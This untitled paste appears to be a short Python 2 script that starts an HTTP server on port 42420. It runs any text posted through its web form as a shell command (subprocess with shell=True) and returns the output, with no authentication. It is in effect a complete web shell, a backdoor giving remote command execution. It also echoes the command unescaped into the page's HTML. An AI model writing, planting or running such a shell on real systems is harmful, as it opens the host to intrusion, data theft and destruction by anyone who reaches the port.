Untitled

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

class S(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def _write_form(self, q):
        self.wfile.write('<form method="post"><textarea rows="2" cols="80" name="q" value="'+q+'"></textarea><br><br><input type="submit" value="do"></form>')

    def do_GET(self):
        self._set_headers()
        self.wfile.write("<html><body><center>")
        self._write_form('')
        self.wfile.write("</center></body></html>")

    def do_POST(self):
        import subprocess
        import string
        import urllib
        self._set_headers()

        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        cmd = string.replace(post_data, 'q=', '', 1)
        cmd = string.replace(cmd, '+', ' ')
        cmd = urllib.unquote(cmd).decode('utf8')
        out = subprocess.check_output(cmd, shell=True)

        self.wfile.write("<html><body><center>")
        self._write_form(cmd)
        self.wfile.write("</center>")
        self.wfile.write(string.replace(out, '\n', '<br/>'))
        self.wfile.write("</body></html>")

if __name__ == "__main__":
    httpd = HTTPServer(('', 42420), S)
    httpd.serve_forever()